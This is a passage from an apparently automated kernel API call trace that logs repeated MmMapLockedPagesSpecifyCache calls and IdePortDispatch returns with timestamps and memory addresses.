Priority=0xfffff80000000000) returned 0xfffff88002dad000 [0108.512] IdePortDispatch () returned 0x103 [0108.513] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db2000 [0108.513] IdePortDispatch () returned 0x103 [0108.513] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db5000 [0108.513] IdePortDispatch () returned 0x103 [0108.515] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003463000 [0108.515] IdePortDispatch () returned 0x103 [0108.545] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0108.545] IdePortDispatch () returned 0x103 [0108.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cd000 [0108.548] IdePortDispatch () returned 0x103 [0108.549] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d0000 [0108.549] IdePortDispatch () returned 0x103 [0108.550] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d3000 [0108.550] IdePortDispatch () returned 0x103 [0108.551] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d6000 [0108.551] IdePortDispatch () returned 0x103 [0108.551] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d9000 [0108.551] IdePortDispatch () returned 0x103 [0108.555] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034dc000 [0108.555] IdePortDispatch () returned 0x103 [0108.615] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb5000 [0108.615] IdePortDispatch () returned 0x103 [0108.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb7000 [0108.617] IdePortDispatch () returned 0x103 [0108.619] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb9000 [0108.619] IdePortDispatch () returned 0x103 [0108.620] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bbb000 [0108.620] IdePortDispatch () returned 0x103 [0108.620] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bbd000 [0108.621] IdePortDispatch () returned 0x103 [0108.621] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bbf000 [0108.621] IdePortDispatch () returned 0x103 [0108.622] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc1000 [0108.622] IdePortDispatch () returned 0x103 [0108.622] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc3000 [0108.622] IdePortDispatch () returned 0x103 [0108.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc5000 [0108.623] IdePortDispatch () returned 0x103 [0108.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc7000 [0108.623] IdePortDispatch () returned 0x103 [0108.624] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0108.624] IdePortDispatch () returned 0x103 [0108.624] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcb000 [0108.624] IdePortDispatch () returned 0x103 [0108.625] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcd000 [0108.625] IdePortDispatch () returned 0x103 [0108.625] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcf000 [0108.625] IdePortDispatch () returned 0x103 [0108.626] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd1000 [0108.626] IdePortDispatch () returned 0x103 [0108.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd3000 [0108.627] IdePortDispatch () returned 0x103 [0108.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd5000 [0108.627] IdePortDispatch () returned 0x103 [0108.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd7000 [0108.627] IdePortDispatch () returned 0x103 [0108.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd9000 [0108.628] IdePortDispatch () returned 0x103 [0108.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bdb000 [0108.628] IdePortDispatch () returned 0x103 [0108.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bdd000 [0108.629] IdePortDispatch () returned 0x103 [0108.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bdf000 [0108.629] IdePortDispatch () returned 0x103 [0108.630] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be1000 [0108.630] IdePortDispatch () returned 0x103 [0108.633] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be3000 [0108.634] IdePortDispatch () returned 0x103 [0108.634] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be5000 [0108.634] IdePortDispatch () returned 0x103 [0108.640] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be7000 [0108.640] IdePortDispatch () returned 0x103 [0108.640] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be9000 [0108.640] IdePortDispatch () returned 0x103 [0108.641] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000beb000 [0108.641] IdePortDispatch () returned 0x103 [0108.642] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c42000 [0108.642] IdePortDispatch () returned 0x103 [0108.642] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c44000 [0108.642] IdePortDispatch () returned 0x103 [0108.643] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c46000 [0108.643] IdePortDispatch () returned 0x103 [0108.643] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c48000 [0108.643] IdePortDispatch () returned 0x103 [0108.644] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4a000 [0108.644] IdePortDispatch () returned 0x103 [0108.644] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4c000 [0108.644] IdePortDispatch () returned 0x103 [0108.645] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4e000 [0108.645] IdePortDispatch () returned 0x103 [0108.645] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c50000 [0108.645] IdePortDispatch () returned 0x103 [0108.645] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c52000 [0108.646] IdePortDispatch () returned 0x103 [0108.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c54000 [0108.646] IdePortDispatch () returned 0x103 [0108.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c56000 [0108.646] IdePortDispatch () returned 0x103 [0108.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c58000 [0108.647] IdePortDispatch () returned 0x103 [0108.647] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5a000 [0108.647] IdePortDispatch () returned 0x103 [0108.647] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5c000 [0108.647] IdePortDispatch () returned 0x103 [0108.648] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5e000 [0108.648] IdePortDispatch () returned 0x103 [0108.648] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c60000 [0108.648] IdePortDispatch () returned 0x103 [0108.648] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c62000 [0108.648] IdePortDispatch () returned 0x103 [0108.649] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c64000 [0108.649] IdePortDispatch () returned 0x103 [0108.649] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c66000 [0108.649] IdePortDispatch () returned 0x103 [0108.650] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c68000 [0108.650] IdePortDispatch () returned 0x103 [0108.650] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6a000 [0108.650] IdePortDispatch () returned 0x103 [0108.650] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6c000 [0108.650] IdePortDispatch () returned 0x103 [0108.651] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6e000 [0108.651] IdePortDispatch () returned 0x103 [0108.651] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c70000 [0108.651] IdePortDispatch () returned 0x103 [0108.651] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c72000 [0108.651] IdePortDispatch () returned 0x103 [0108.652] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c74000 [0108.652] IdePortDispatch () returned 0x103 [0108.652] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c76000 [0108.652] IdePortDispatch () returned 0x103 [0108.652] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c78000 [0108.652] IdePortDispatch () returned 0x103 [0108.653] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7a000 [0108.653] IdePortDispatch () returned 0x103 [0108.653] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7c000 [0108.653] IdePortDispatch () returned 0x103 [0108.653] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7e000 [0108.653] IdePortDispatch () returned 0x103 [0108.654] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c80000 [0108.654] IdePortDispatch () returned 0x103 [0108.654] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c82000 [0108.654] IdePortDispatch () returned 0x103 [0108.654] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c84000 [0108.655] IdePortDispatch () returned 0x103 [0108.655] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c86000 [0108.655] IdePortDispatch () returned 0x103 [0108.656] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0108.656] IdePortDispatch () returned 0x103 [0108.656] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8a000 [0108.656] IdePortDispatch () returned 0x103 [0108.657] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8c000 [0108.657] IdePortDispatch () returned 0x103 [0108.657] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8e000 [0108.657] IdePortDispatch () returned 0x103 [0108.658] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c92000 [0108.658] IdePortDispatch () returned 0x103 [0108.668] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c98000 [0108.669] IdePortDispatch () returned 0x103 [0108.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdc000 [0108.670] IdePortDispatch () returned 0x103 [0108.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cde000 [0108.670] IdePortDispatch () returned 0x103 [0108.671] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce0000 [0108.671] IdePortDispatch () returned 0x103 [0108.671] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce2000 [0108.671] IdePortDispatch () returned 0x103 [0108.671] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce4000 [0108.671] IdePortDispatch () returned 0x103 [0108.672] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce6000 [0108.672] IdePortDispatch () returned 0x103 [0108.672] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce8000 [0108.672] IdePortDispatch () returned 0x103 [0108.672] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cea000 [0108.672] IdePortDispatch () returned 0x103 [0108.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cec000 [0108.673] IdePortDispatch () returned 0x103 [0108.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cee000 [0108.673] IdePortDispatch () returned 0x103 [0108.674] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf0000 [0108.674] IdePortDispatch () returned 0x103 [0108.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf2000 [0108.675] IdePortDispatch () returned 0x103 [0108.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf4000 [0108.675] IdePortDispatch () returned 0x103 [0108.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf6000 [0108.675] IdePortDispatch () returned 0x103 [0108.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf8000 [0108.676] IdePortDispatch () returned 0x103 [0108.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfa000 [0108.676] IdePortDispatch () returned 0x103 [0108.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfc000 [0108.677] IdePortDispatch () returned 0x103 [0108.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfe000 [0108.677] IdePortDispatch () returned 0x103 [0108.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d00000 [0108.678] IdePortDispatch () returned 0x103 [0108.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d02000 [0108.678] IdePortDispatch () returned 0x103 [0108.679] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d05000 [0108.679] IdePortDispatch () returned 0x103 [0108.679] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d07000 [0108.679] IdePortDispatch () returned 0x103 [0108.680] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d09000 [0108.680] IdePortDispatch () returned 0x103 [0108.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0b000 [0108.681] IdePortDispatch () returned 0x103 [0108.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0d000 [0108.681] IdePortDispatch () returned 0x103 [0108.682] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0f000 [0108.682] 